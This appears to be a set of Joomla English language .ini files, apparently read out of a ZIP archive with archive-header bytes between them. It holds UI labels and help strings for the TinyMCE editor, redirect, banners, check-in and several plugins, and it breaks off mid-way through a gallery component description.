PLG_TINY_FIELD_HR_DESC="Show/Hide the Horizontal Rule button" PLG_TINY_FIELD_HR_LABEL="Horizontal Rule" PLG_TINY_FIELD_HTMLHEIGHT_DESC="Height of HTML mode pop-up window. Only works in Extended mode." PLG_TINY_FIELD_HTMLHEIGHT_LABEL="HTML Height" PLG_TINY_FIELD_HTMLWIDTH_DESC="Width of HTML mode pop-up window. Only works in Extended mode." PLG_TINY_FIELD_HTMLWIDTH_LABEL="HTML Width" PLG_TINY_FIELD_INLINEPOPUPS_DESC="All dialogs to open as floating DIV layers instead of popup windows. This option can be very useful in order to get around popup blockers." PLG_TINY_FIELD_INLINEPOPUPS_LABEL="Inline popups" PLG_TINY_FIELD_LABEL_ADVANCEDPARAMS="Advanced parameters" PLG_TINY_FIELD_LANGCODE_DESC="Editor UI Language. A value here is mandatory if manual language selection is set." PLG_TINY_FIELD_LANGCODE_LABEL="Language Code" PLG_TINY_FIELD_LANGSELECT_DESC="If Yes, editor language will automatically match selected UI language. Do not activate if appropriate editor languages are not installed." PLG_TINY_FIELD_LANGSELECT_LABEL="Automatic Language Selection" PLG_TINY_FIELD_LAYER_DESC="Show/Hide the Add new Layer button. Only works in Extended mode." PLG_TINY_FIELD_LAYER_LABEL="Layer" PLG_TINY_FIELD_MEDIA_DESC="Show/Hide the Media button. Only applies in Extended mode" PLG_TINY_FIELD_MEDIA_LABEL="Media" PLG_TINY_FIELD_NAME_EXTENDED_LABEL="Extended Mode Options
      These options only apply in Extended mode." PLG_TINY_FIELD_NEWLINES_DESC="New lines will be created using the selected option." PLG_TINY_FIELD_NEWLINES_LABEL="New Lines" PLG_TINY_FIELD_NONBREAKING_DESC="Insert nonbreaking space entities" PLG_TINY_FIELD_NONBREAKING_LABEL="Nonbreaking" PLG_TINY_FIELD_PASTE_DESC="Show/Hide the Paste buttons. Only applies in Extended mode" PLG_TINY_FIELD_PASTE_LABEL="Paste" PLG_TINY_FIELD_PATH_DESC="If set to ON, it displays the set classes for the marked text." PLG_TINY_FIELD_PATH_LABEL="Element Path" PLG_TINY_FIELD_PROHIBITED_DESC="Elements that will be cleaned from the text. Do not leave empty - if you do not want to prohibit anything enter dummy text e.g.cms" PLG_TINY_FIELD_PROHIBITED_LABEL="Prohibited Elements" PLG_TINY_FIELD_RESIZE_HORIZONTAL_DESC="Enable/disable the horizontal resizing." PLG_TINY_FIELD_RESIZE_HORIZONTAL_LABEL="Horizontal resizing" PLG_TINY_FIELD_RESIZING_DESC="Enable/disable the resizing button." PLG_TINY_FIELD_RESIZING_LABEL="Resizing" PLG_TINY_FIELD_RTL_DESC="Select whether to display the RTL button. Only Works in Extended mode" PLG_TINY_FIELD_RTL_LABEL="Directionality" PLG_TINY_FIELD_SAVEWARNING_DESC="Save Warning: gives warning if you cancel without saving changes." PLG_TINY_FIELD_SAVEWARNING_LABEL="Save Warning" PLG_TINY_FIELD_SEARCH-REPLACE_DESC="Show/Hide the Search & Replace button. Only works in Extended mode." PLG_TINY_FIELD_SEARCH-REPLACE_LABEL="Search-Replace" PLG_TINY_FIELD_SKIN_DESC="Select skin" PLG_TINY_FIELD_SKIN_LABEL="Skin" PLG_TINY_FIELD_SMILIES_DESC="Show/Hide the smilies buttons. Only works in Extended mode." PLG_TINY_FIELD_SMILIES_LABEL="Smilies" PLG_TINY_FIELD_STYLE_DESC="Show/Hide the CSS Style control button. Only works in Extended mode." PLG_TINY_FIELD_STYLE_LABEL="Style" PLG_TINY_FIELD_TABLE_DESC="Show/Hide the table control buttons. Only works in Extended mode." PLG_TINY_FIELD_TABLE_LABEL="Table" PLG_TINY_FIELD_TEMPLATE_DESC="Show/Hide the Insert predefined template content button. Only applies in Extended mode." PLG_TINY_FIELD_TEMPLATE_LABEL="Template" PLG_TINY_FIELD_TIME_DESC="Show/Hide the Insert Time button. Only works in Extended mode." PLG_TINY_FIELD_TIME_LABEL="Insert Time" PLG_TINY_FIELD_TIMEFORMAT_DESC="Format of inserted time. Only works in Extended Mode" PLG_TINY_FIELD_TIMEFORMAT_LABEL="Time Format" PLG_TINY_FIELD_TOOLBAR_ALIGN_DESC="Alignment of the toolbar" PLG_TINY_FIELD_TOOLBAR_ALIGN_LABEL="Toolbar align" PLG_TINY_FIELD_TOOLBAR_DESC="Position of the toolbar" PLG_TINY_FIELD_TOOLBAR_LABEL="Toolbar" PLG_TINY_FIELD_URLS_DESC="URL behaviour" PLG_TINY_FIELD_URLS_LABEL="URLs" PLG_TINY_FIELD_VALUE_ABSOLUTE="Absolute" PLG_TINY_FIELD_VALUE_ADVANCED="Advanced" PLG_TINY_FIELD_VALUE_ALWAYS="Always" PLG_TINY_FIELD_VALUE_BLACK="Office2007 Black" PLG_TINY_FIELD_VALUE_BLUE="Office2007 Blue" PLG_TINY_FIELD_VALUE_BOTTOM="Bottom" PLG_TINY_FIELD_VALUE_BR="BR Elements" PLG_TINY_FIELD_VALUE_CENTER="Center" PLG_TINY_FIELD_VALUE_DEFAULT="Default" PLG_TINY_FIELD_VALUE_EXTENDED="Extended" PLG_TINY_FIELD_VALUE_FRONT="Front Only" PLG_TINY_FIELD_VALUE_LEFT="Left" PLG_TINY_FIELD_VALUE_LTR="Left to Right" PLG_TINY_FIELD_VALUE_NAMED="named" PLG_TINY_FIELD_VALUE_NEVER="Never" PLG_TINY_FIELD_VALUE_NUMERIC="numeric" PLG_TINY_FIELD_VALUE_P="P Elements" PLG_TINY_FIELD_VALUE_RAW="raw" PLG_TINY_FIELD_VALUE_RELATIVE="Relative" PLG_TINY_FIELD_VALUE_RIGHT="Right" PLG_TINY_FIELD_VALUE_RTL="Right to Left" PLG_TINY_FIELD_VALUE_SILVER="Office2007 Silver" PLG_TINY_FIELD_VALUE_SIMPLE="Simple" PLG_TINY_FIELD_VALUE_TOP="Top" PLG_TINY_FIELD_VISUALCHARS_DESC="Possibility to see invisible characters, specifically non-breaking spaces." PLG_TINY_FIELD_VISUALCHARS_LABEL="Visualchars" PLG_TINY_FIELD_VISUALBLOCKS_DESC="Possibility to see the outline of HTML block elements." PLG_TINY_FIELD_VISUALBLOCKS_LABEL="Visualblocks" PLG_TINY_FIELD_WORDCOUNT_DESC="Turn on/off Wordcount" PLG_TINY_FIELD_WORDCOUNT_LABEL="Wordcount" PLG_TINY_FIELD_XHTMLXTRAS_DESC="Show/Hide the additional XHTML features. Only works in Extended mode." PLG_TINY_FIELD_XHTMLXTRAS_LABEL="XHTMLxtras" PLG_TINY_XML_DESCRIPTION="TinyMCE is a platform-independent Web-based JavaScript HTML WYSIWYG Editor control." PK@y>\YP%language/en-GB/en-GB.com_redirect.ininuW+A; @package Joomla.Administrator ; @subpackage com_redirect ; @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt" COM_REDIRECT="Redirect" COM_REDIRECT_BUTTON_UPDATE_LINKS="Update Links" COM_REDIRECT_CONFIGURATION="Redirect Manager Options" COM_REDIRECT_DETAILS="Details" COM_REDIRECT_DISABLE_LINK="Disable Link" COM_REDIRECT_EDIT_LINK="Edit Link #%d" COM_REDIRECT_ENABLE_LINK="Enable Link" COM_REDIRECT_ERROR_DESTINATION_URL_REQUIRED="The redirect must have a destination URL" COM_REDIRECT_ERROR_DUPLICATE_OLD_URL="The source URL must be unique." COM_REDIRECT_ERROR_DUPLICATE_URLS="The source and destination URLs cannot be the same." COM_REDIRECT_ERROR_SOURCE_URL_REQUIRED="The redirect must have a source URL" COM_REDIRECT_FIELD_COMMENT_DESC="Sometimes it is helpful to describe the URLs for redirect management later on." COM_REDIRECT_FIELD_COMMENT_LABEL="Comment" COM_REDIRECT_FIELD_CREATED_DATE_LABEL="Created Date" COM_REDIRECT_FIELD_NEW_URL_DESC="Enter here the URL to be redirected to." COM_REDIRECT_FIELD_NEW_URL_LABEL="Destination URL" COM_REDIRECT_FIELD_OLD_URL_DESC="Enter here the URL that has to be redirected." COM_REDIRECT_FIELD_OLD_URL_LABEL="Source URL" COM_REDIRECT_FIELD_REFERRER_LABEL="Link Referrer" COM_REDIRECT_FIELD_UPDATED_DATE_LABEL="Last Updated Date" COM_REDIRECT_HEADING_CREATED_DATE="Created Date" COM_REDIRECT_HEADING_HITS="404 Hits" COM_REDIRECT_HEADING_NEW_URL="New URL" COM_REDIRECT_HEADING_OLD_URL="Expired URL" COM_REDIRECT_HEADING_REFERRER="Referring Page" COM_REDIRECT_HEADING_UPDATE_LINKS="Update selected links to the following new URL" COM_REDIRECT_MANAGER_LINK="Redirect Manager: Link" COM_REDIRECT_MANAGER_LINKS="Redirect Manager: Links" COM_REDIRECT_N_ITEMS_ARCHIVED="%d links successfully archived" COM_REDIRECT_N_ITEMS_ARCHIVED_1="Link successfully archived" COM_REDIRECT_N_ITEMS_DELETED="%d links successfully deleted" COM_REDIRECT_N_ITEMS_DELETED_1="Link successfully deleted" COM_REDIRECT_N_ITEMS_PUBLISHED="%d links successfully enabled" COM_REDIRECT_N_ITEMS_PUBLISHED_1="Link successfully enabled" COM_REDIRECT_N_ITEMS_TRASHED="%d links successfully trashed" COM_REDIRECT_N_ITEMS_TRASHED_1="Link successfully trashed" COM_REDIRECT_N_ITEMS_UNPUBLISHED="%d links successfully disabled" COM_REDIRECT_N_ITEMS_UNPUBLISHED_1="Link successfully disabled" COM_REDIRECT_N_LINKS_UPDATED="%d links updated." COM_REDIRECT_N_LINKS_UPDATED_1="One link has been updated" COM_REDIRECT_NEW_LINK="New Link" COM_REDIRECT_NO_ITEM_SELECTED="No links selected" COM_REDIRECT_OPTIONS="Options" COM_REDIRECT_PLUGIN_DISABLED="The Redirect Plug-in is disabled. Enable it in the Plug-in Manager." COM_REDIRECT_PLUGIN_ENABLED="The Redirect Plug-in is enabled." COM_REDIRECT_REDIRECTED_ON="Redirected on: %s." COM_REDIRECT_SAVE_SUCCESS="Link successfully saved" COM_REDIRECT_SEARCH_LINKS="Search in link fields." COM_REDIRECT_XML_DESCRIPTION="This component implements link redirection" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\722$language/en-GB/en-GB.com_banners.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_BANNERS="Banners" COM_BANNERS_BANNER_DETAILS="Details" COM_BANNERS_BANNER_SAVE_SUCCESS="Banner successfully saved" COM_BANNERS_BANNERS_HTML_PIN_BANNER="Pinned banner" COM_BANNERS_BANNERS_HTML_UNPIN_BANNER="Unpinned banner" COM_BANNERS_BANNERS_N_ITEMS_ARCHIVED="%d banners successfully archived" COM_BANNERS_BANNERS_N_ITEMS_ARCHIVED_1="%d banner successfully archived" COM_BANNERS_BANNERS_N_ITEMS_CHECKED_IN_0="No banner successfully checked in" COM_BANNERS_BANNERS_N_ITEMS_CHECKED_IN_1="%d banner successfully checked in" COM_BANNERS_BANNERS_N_ITEMS_CHECKED_IN_MORE="%d banners successfully checked in" COM_BANNERS_BANNERS_N_ITEMS_DELETED="%d banners successfully deleted" COM_BANNERS_BANNERS_N_ITEMS_DELETED_1="%d banner successfully deleted" COM_BANNERS_BANNERS_N_ITEMS_PUBLISHED="%d banners successfully published" COM_BANNERS_BANNERS_N_ITEMS_PUBLISHED_1="%d banner successfully published" COM_BANNERS_BANNERS_N_ITEMS_TRASHED="%d banners successfully trashed" COM_BANNERS_BANNERS_N_ITEMS_TRASHED_1="%d banner successfully trashed" COM_BANNERS_BANNERS_N_ITEMS_UNPUBLISHED="%d banners successfully unpublished" COM_BANNERS_BANNERS_N_ITEMS_UNPUBLISHED_1="%d banner successfully unpublished" COM_BANNERS_BANNERS_NO_ITEM_SELECTED="No Banners selected" COM_BANNERS_BANNERS_PINNED="Pinned Banner" COM_BANNERS_BANNERS_UNPINNED="Unpinned Banner" COM_BANNERS_BATCH_CLIENT_LABEL="Set Client" COM_BANNERS_BATCH_CLIENT_LABEL_DESC="Not making a selection will keep the original client when processing." COM_BANNERS_BATCH_CLIENT_NOCHANGE="- Keep original Client -" COM_BANNERS_BATCH_OPTIONS="Batch process the selected banners" COM_BANNERS_BATCH_TIP="If choosing to copy a banner, any other actions selected will be applied to the copied banner. Otherwise, all actions are applied to the selected banner." COM_BANNERS_BEGIN_LABEL="Begin date:" COM_BANNERS_CANCEL="Cancel" COM_BANNERS_CLICK="Click" COM_BANNERS_CLIENT_SAVE_SUCCESS="Client successfully saved" COM_BANNERS_CLIENTS_N_ITEMS_ARCHIVED="%d clients successfully archived" COM_BANNERS_CLIENTS_N_ITEMS_ARCHIVED_1="%d client successfully archived" COM_BANNERS_CLIENTS_N_ITEMS_CHECKED_IN_0="No client successfully checked in" COM_BANNERS_CLIENTS_N_ITEMS_CHECKED_IN_1="%d client successfully checked in" COM_BANNERS_CLIENTS_N_ITEMS_CHECKED_IN_MORE="%d clients successfully checked in" COM_BANNERS_CLIENTS_N_ITEMS_DELETED="%d clients successfully deleted" COM_BANNERS_CLIENTS_N_ITEMS_DELETED_1="%d client successfully deleted" COM_BANNERS_CLIENTS_N_ITEMS_PUBLISHED="%d clients successfully published" COM_BANNERS_CLIENTS_N_ITEMS_PUBLISHED_1="%d client successfully published" COM_BANNERS_CLIENTS_N_ITEMS_TRASHED="%d clients successfully trashed" COM_BANNERS_CLIENTS_N_ITEMS_TRASHED_1="%d client successfully trashed" COM_BANNERS_CLIENTS_N_ITEMS_UNPUBLISHED="%d clients successfully unpublished" COM_BANNERS_CLIENTS_N_ITEMS_UNPUBLISHED_1="%d client successfully unpublished" COM_BANNERS_CLIENTS_NO_ITEM_SELECTED="No clients selected" COM_BANNERS_CONFIGURATION="Banner Manager Options" COM_BANNERS_DEFAULT="Default (%s)" COM_BANNERS_DELETE_MSG="Are you sure you want to delete all these tracks?" COM_BANNERS_EDIT_BANNER="Edit Banner" COM_BANNERS_EDIT_CLIENT="Details" COM_BANNERS_END_LABEL="End date:" COM_BANNERS_ERR_ZIP_ADAPTER_FAILURE="Zip adapter failure" COM_BANNERS_ERR_ZIP_CREATE_FAILURE="Zip create failure" COM_BANNERS_ERR_ZIP_DELETE_FAILURE="Zip delete failure" COM_BANNERS_ERROR_UNIQUE_ALIAS="Another Banner from this category has the same alias" COM_BANNERS_EXTRA="Additional Information" COM_BANNERS_FIELD_ALIAS_DESC="The alias is for internal use only. Leave this blank and Joomla will fill in a default value from the title. It has to be unique for each banner in the same category." COM_BANNERS_FIELD_ALT_DESC="Alternative text for the banner image." COM_BANNERS_FIELD_ALT_LABEL="Alternative Text" COM_BANNERS_FIELD_BANNEROWNPREFIX_DESC="Use own prefix or the client prefix" COM_BANNERS_FIELD_BANNEROWNPREFIX_LABEL="Use Own Prefix" COM_BANNERS_FIELD_BASENAME_DESC="Filename pattern which can contain
      __SITE__ for the site name
      __CATID__ for the category ID
      __CATNAME__ for the category name
      __CLIENTID__ for the client ID
      __CLIENTNAME__ for the client name
      __TYPE__ for the type
      __TYPENAME__ for the type name
      __BEGIN__ for the begin date
      __END__ for the end date" COM_BANNERS_FIELD_BASENAME_LABEL="Filename" COM_BANNERS_FIELD_CATEGORY_DESC="Choose a category for this banner" COM_BANNERS_FIELD_CLICKS_DESC="Displays the number of clicks on the banner. Click on reset if desired." COM_BANNERS_FIELD_CLICKS_LABEL="Total Clicks" COM_BANNERS_FIELD_CLICKURL_DESC="The URL used when the banner is clicked on." COM_BANNERS_FIELD_CLICKURL_LABEL="Click URL" COM_BANNERS_FIELD_CLIENT_DESC="Choose a client for this banner" COM_BANNERS_FIELD_CLIENT_LABEL="Client" COM_BANNERS_FIELD_CLIENT_METAKEYWORDPREFIX_DESC="When matching Meta Keywords, only search for Meta Keywords with this prefix (improves performance)." COM_BANNERS_FIELD_CLIENT_METAKEYWORDPREFIX_LABEL="Meta Keyword Prefix" COM_BANNERS_FIELD_CLIENT_METAKEYWORDS_DESC="Enter here the meta keywords for the clients' banners" COM_BANNERS_FIELD_CLIENT_NAME_DESC="Enter a name for the client" COM_BANNERS_FIELD_CLIENT_NAME_LABEL="Client Name" COM_BANNERS_FIELD_CLIENT_STATE_DESC="Defines the status of the client" COM_BANNERS_FIELD_CLIENTOWNPREFIX_DESC="Use own prefix or the component prefix" COM_BANNERS_FIELD_CLIENTOWNPREFIX_LABEL="Use Own Prefix" COM_BANNERS_FIELD_COMPRESSED_DESC="Option to compress file for export" COM_BANNERS_FIELD_COMPRESSED_LABEL="Compressed" COM_BANNERS_FIELD_CONTACT_DESC="Enter the Name of a user as contact" COM_BANNERS_FIELD_CONTACT_LABEL="Contact Name" COM_BANNERS_FIELD_CREATED_DESC="Banner created date" COM_BANNERS_FIELD_CREATED_LABEL="Created Date" COM_BANNERS_FIELD_CUSTOMCODE_DESC="Enter your custom code for the banner" COM_BANNERS_FIELD_CUSTOMCODE_LABEL="Custom Code" COM_BANNERS_FIELD_DESCRIPTION_DESC="Enter a description for the banner" COM_BANNERS_FIELD_EMAIL_DESC="Enter a valid Contact email" COM_BANNERS_FIELD_EMAIL_LABEL="Contact email" COM_BANNERS_FIELD_EXTRAINFO_DESC="Enter extra information for this client." COM_BANNERS_FIELD_EXTRAINFO_LABEL="Additional Information" COM_BANNERS_FIELD_HEIGHT_DESC="The height of the banner" COM_BANNERS_FIELD_HEIGHT_LABEL="Height" COM_BANNERS_FIELD_IMAGE_DESC="Select an image for this banner. Images have to be in the /images/banners/ directory." COM_BANNERS_FIELD_IMAGE_LABEL="Image" COM_BANNERS_FIELD_IMPMADE_DESC="Displays the number of impressions made for the banner." COM_BANNERS_FIELD_IMPMADE_LABEL="Total Impressions" COM_BANNERS_FIELD_IMPTOTAL_DESC="Total limit of impressions defined for the banner." COM_BANNERS_FIELD_IMPTOTAL_LABEL="Max. Impressions" COM_BANNERS_FIELD_LANGUAGE_DESC="Assign a language to this banner" COM_BANNERS_FIELD_METAKEYWORDPREFIX_DESC="When matching Meta Keywords, only search for Meta Keywords with this prefix (improves performance)." COM_BANNERS_FIELD_METAKEYWORDPREFIX_LABEL="Meta Keyword Prefix" COM_BANNERS_FIELD_METAKEYWORDS_DESC="Enter here the meta keywords for the banner" COM_BANNERS_FIELD_NAME_DESC="Enter a name for the banner" COM_BANNERS_FIELD_NAME_LABEL="Name" COM_BANNERS_FIELD_PUBLISH_DOWN_DESC="An optional date to Finish Publishing the banner." COM_BANNERS_FIELD_PUBLISH_DOWN_LABEL="Finish Publishing" COM_BANNERS_FIELD_PUBLISH_UP_DESC="An optional date to Start Publishing the banner." COM_BANNERS_FIELD_PUBLISH_UP_LABEL="Start Publishing" COM_BANNERS_FIELD_PURCHASETYPE_DESC="Select the type of purchase in the list." COM_BANNERS_FIELD_PURCHASETYPE_LABEL="Purchase Type" COM_BANNERS_FIELD_STATE_DESC="Defines the status of the banner" COM_BANNERS_FIELD_STICKY_DESC="Whether or not the Banner is 'sticky'. If one or more Banners in a Category are sticky, they will take priority over Banners that are not sticky. For example, if two Banners in a Category are sticky and a third Banner is not sticky, the third Banner will not display if the module setting is 'Sticky, Randomise'. Only the two sticky Banners will display." COM_BANNERS_FIELD_STICKY_LABEL="Sticky" COM_BANNERS_FIELD_TRACKCLICK_DESC="Record the number of clicks on the banners on a daily basis." COM_BANNERS_FIELD_TRACKCLICK_LABEL="Track Clicks" COM_BANNERS_FIELD_TRACKIMPRESSION_DESC="Record the impressions (views) of the banners on a daily basis." COM_BANNERS_FIELD_TRACKIMPRESSION_LABEL="Track Impressions" COM_BANNERS_FIELD_TYPE_DESC="Choose the type of banner. Select Image to display an image from /images/banners/ directory. Select Custom to enter you custom code." COM_BANNERS_FIELD_TYPE_LABEL="Type" COM_BANNERS_FIELD_VALUE_1="Unlimited" COM_BANNERS_FIELD_VALUE_2="Yearly" COM_BANNERS_FIELD_VALUE_3="Monthly" COM_BANNERS_FIELD_VALUE_4="Weekly" COM_BANNERS_FIELD_VALUE_5="Daily" COM_BANNERS_FIELD_VALUE_CUSTOM="Custom" COM_BANNERS_FIELD_VALUE_IMAGE="Image" COM_BANNERS_FIELD_VALUE_USECLIENTDEFAULT="-- Use Client Default --" COM_BANNERS_FIELD_VALUE_USECOMPONENTDEFAULT="-- Use Component Default --" COM_BANNERS_FIELD_WIDTH_LABEL="Width" COM_BANNERS_FIELD_WIDTH_DESC="The width of the banner" COM_BANNERS_FIELDSET_CONFIG_CLIENT_OPTIONS_LABEL="Client Options" COM_BANNERS_FIELDSET_CONFIG_CLIENT_OPTIONS_DESC="These settings apply for all clients unless they are changed for a specific client." COM_BANNERS_FILENAME="%1$s-banners-tracks-%2$s" COM_BANNERS_GROUP_LABEL_PUBLISHING_DETAILS="Publishing Options" COM_BANNERS_HEADING_ACTIVE="Active" COM_BANNERS_HEADING_CLICKS="Clicks" COM_BANNERS_HEADING_CLIENT="Client" COM_BANNERS_HEADING_CONTACT="Contact" COM_BANNERS_HEADING_COUNT="Count" COM_BANNERS_HEADING_IMPRESSIONS="Impressions" COM_BANNERS_HEADING_METAKEYWORDS="Meta Keywords" COM_BANNERS_HEADING_NAME="Name" COM_BANNERS_HEADING_PURCHASETYPE="Purchase Type" COM_BANNERS_HEADING_STICKY="Sticky" COM_BANNERS_HEADING_TYPE="Type" COM_BANNERS_IMPRESSION="Impression" COM_BANNERS_IMPRESSIONS="%1$s of %2$s" COM_BANNERS_MANAGER="Banner Manager" COM_BANNERS_MANAGER_BANNER_EDIT="Banner Manager: Edit Banner" COM_BANNERS_MANAGER_BANNER_NEW="Banner Manager: New Banner" COM_BANNERS_MANAGER_BANNERS="Banner Manager: Banners" COM_BANNERS_MANAGER_CLIENT_EDIT="Banner Manager: Edit Client" COM_BANNERS_MANAGER_CLIENT_NEW="Banner Manager: New Client" COM_BANNERS_MANAGER_CLIENTS="Banner Manager: Clients" COM_BANNERS_MANAGER_TRACKS="Banner Manager: Tracks" COM_BANNERS_METADATA="Metadata" COM_BANNERS_N_BANNERS_STUCK="%d banners successfully stickied." COM_BANNERS_N_BANNERS_STUCK_1="%d banner successfully stickied." COM_BANNERS_N_BANNERS_UNSTUCK="%d banners successfully unstickied." COM_BANNERS_N_BANNERS_UNSTUCK_1="%d banner successfully unstickied." COM_BANNERS_NEW_BANNER="New Banner" COM_BANNERS_NEW_CLIENT="New Client" COM_BANNERS_NO_BANNERS_SELECTED="No banners selected" COM_BANNERS_NO_CLIENT="- No client -" COM_BANNERS_NO_CLIENTS_SELECTED="No clients selected" COM_BANNERS_NOCATEGORYNAME="No category" COM_BANNERS_NOCLIENTNAME="No client" COM_BANNERS_RESET_CLICKS="Reset clicks" COM_BANNERS_RESET_IMPMADE="Reset impressions" COM_BANNERS_SEARCH_IN_TITLE="Search in title" COM_BANNERS_SELECT_CLIENT="- Select Client -" COM_BANNERS_SELECT_TYPE="- Type -" COM_BANNERS_SUBMENU_BANNERS="Banners" COM_BANNERS_SUBMENU_CATEGORIES="Categories" COM_BANNERS_SUBMENU_CLIENTS="Clients" COM_BANNERS_SUBMENU_TRACKS="Tracks" COM_BANNERS_TRACKS_DELETE="Delete Tracks" COM_BANNERS_TRACKS_DOWNLOAD="Download tracks" COM_BANNERS_TRACKS_EXPORT="Export" COM_BANNERS_TRACKS_N_ITEMS_DELETED="%d tracks successfully deleted" COM_BANNERS_TRACKS_N_ITEMS_DELETED_1="%d track successfully deleted" COM_BANNERS_TYPE1="Impressions" COM_BANNERS_TYPE2="Clicks" COM_BANNERS_UNLIMITED="Unlimited" COM_BANNERS_XML_DESCRIPTION="This component manages banners and banner clients" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\pö0language/en-GB/en-GB.plg_system_languagecode.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_LANGUAGECODE="System - Language Code" PLG_SYSTEM_LANGUAGECODE_FIELD_DESC="Changes the language code used for the %s language" PLG_SYSTEM_LANGUAGECODE_FIELDSET_DESC="Changes the language code for the generated HTML document. Example of use: One has installed the fr-FR language pack and wants the Search Engines to recognize the page as aimed at French-speaking Canada. Add the tag 'fr-CA' to the corresponding field for 'fr-FR' to resolve this." PLG_SYSTEM_LANGUAGECODE_FIELDSET_LABEL="Language codes" PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION="Provides the ability to change the language code in the generated HTML document to improve SEO.
      The fields will appear when the plugin is enabled and saved.
      More information at W3.org " PK@y>\E0ԋ0language/en-GB/en-GB.plg_user_contactcreator.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM PLG_CONTACTCREATOR_ERR_FAILED_UPDATE="Failed to update contact: %s" PLG_CONTACTCREATOR_ERR_NO_CATEGORY="Contact automatic creation failed because contact category is not set!" PLG_CONTACTCREATOR_FIELD_AUTOMATIC_WEBPAGE_DESC="A formatted string to automatically generate a contact's web page. [name] is replaced with the name, [username] is replaced with the username, [userid] is replaced with the user ID and [email] is replaced with the email" PLG_CONTACTCREATOR_FIELD_AUTOMATIC_WEBPAGE_LABEL="Automatic Webpage" PLG_CONTACTCREATOR_FIELD_AUTOPUBLISH_DESC="Optionally have the contact default to published or unpublished" PLG_CONTACTCREATOR_FIELD_AUTOPUBLISH_LABEL="Autopublish the contact" PLG_CONTACTCREATOR_FIELD_CATEGORY_DESC="Category to assign contacts to by default" PLG_CONTACTCREATOR_XML_DESCRIPTION="Plugin to automatically create contact information for new users" PLG_USER_CONTACTCREATOR="User - Contact Creator" PK@y>\-WW/language/en-GB/en-GB.plg_content_finder.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_FINDER="Content - Smart Search" PLG_CONTENT_FINDER_XML_DESCRIPTION="Enables Indexing for Smart Search" PK@y>\X6$language/en-GB/en-GB.com_checkin.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CHECKIN="Checkin" COM_CHECKIN_CONFIGURATION="Check-in Configuration" COM_CHECKIN_DATABASE_TABLE="Database Table" COM_CHECKIN_FILTER_SEARCH_DESC="Search table" COM_CHECKIN_GLOBAL_CHECK_IN="Maintenance: Global Check-In" COM_CHECKIN_ITEMS_TO_CHECK_IN="Items to check-in" COM_CHECKIN_N_ITEMS_CHECKED_IN_0="No item checked-in" COM_CHECKIN_N_ITEMS_CHECKED_IN_1="1 item checked-in" COM_CHECKIN_N_ITEMS_CHECKED_IN_MORE="%s items checked-in" COM_CHECKIN_TABLE="%s table" COM_CHECKIN_XML_DESCRIPTION="Checkin Component" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\Vlanguage/en-GB/index.htmlnuW+A PK@y>\n{-language/en-GB/en-GB.plg_extension_joomla.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EXTENSION_JOOMLA="Extension - Joomla" PLG_EXTENSION_JOOMLA_XML_DESCRIPTION="Manage the update sites for extensions" PLG_EXTENSION_JOOMLA_UNKNOWN_SITE="Unknown Site" PK@y>\p)&&/language/en-GB/en-GB.com_admirorgallery.sys.ininuW+A; version 1.5.x 2005-10-30 14:10:00 ; Joomla! Project ; copyright Copyright (C) 2005 - 2006 Open Source Matters. All rights reserved. ; license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_ADMIRORGALLERY_DESCRIPTION="

      Admiror Gallery

      Admiror Gallery renders image gallery from folder with images. It supports jpg, jpeg, png and gif images.

      Create your folder inside Images Root Folder and place images for gallery inside this folder.Usually Images Root Folder is /images/sampledata/ folder.

      Put {AG}name_of_your_folder{/AG} inside your article.

      Creation of thumb images is automatic, if user opens the page with AdmirorGallery and there are new images or size changed. It''s recommended to admin to opens page with AdmirorGallery toexecute changes instead of user. Admiror Gallery consists of 3 mayor elements: Templates, Popupsand Image manager.

      For more information visit Admiror Gallery Webpage or Admiror Gallery Community.

      Templates are standard look and feel of gallery. Usually it''s a set of small thumbnails with descriptions.

      Popups is wrapper for showing larger image, which is usuallyinitiated by clicking on thumbnail image.

